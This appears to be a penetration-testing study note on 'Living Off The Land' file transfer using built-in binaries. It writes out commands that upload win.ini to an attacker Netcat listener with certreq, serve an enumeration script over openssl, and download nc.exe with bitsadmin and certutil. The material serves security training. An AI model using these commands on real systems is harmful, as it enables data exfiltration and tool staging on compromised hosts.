☑️Living Off The Land

There are currently two website that aggregate information related to LOLBins (Living Off The Land BInaries)

• LOLBAS Project for Windows Binaries

• GTFOBins for Linux Binaries

LOLBAS

We can search /download /upload:

Let's use CertReq.exe as an example.

We need to listen on a port on our attack host for incoming traffic using Netcat and then execute certreq.exe to upload a file.

So we start a listener first:

sudo nc -lvnp 8000

Then we uplaod win.ini to our attack machine:

certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini

GTFOBins

To search for the download and upload function in GTFOBins for Linux Binaries, we can use +file download or +file upload.

Let's use OpenSSL. It's frequently installed and often included in other software distributions, with sysadmins using it to generate security certificates, among other tasks. OpenSSL can be used to send files "nc style."

We need to create a certificate and start a server in our attack machine.

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

Now standing up the server in our attack machine:

openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

Next, with the server running we need to download the file from the compromised machine:

openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Other Common LOL Tools

Bitsadmin Download function

The Background Intelligent Transfer Service (BITS) can be used to download files from HTTP sites and SMB shares. It "intelligently" checks host and network utilization into account to minimize the impact on a user's foreground work.

Downloading a file using Bitsadmin:

bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe

Certutil

Casey Smith (@subTee) found that Certutil can be used to download arbitrary files. It is available in all Windows versions and has been a popular file transfer technique, serving as a defacto wget for Windows. However, the Antimalware Scan Interface (AMSI) currently detects this as malicious Certutil usage.

certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe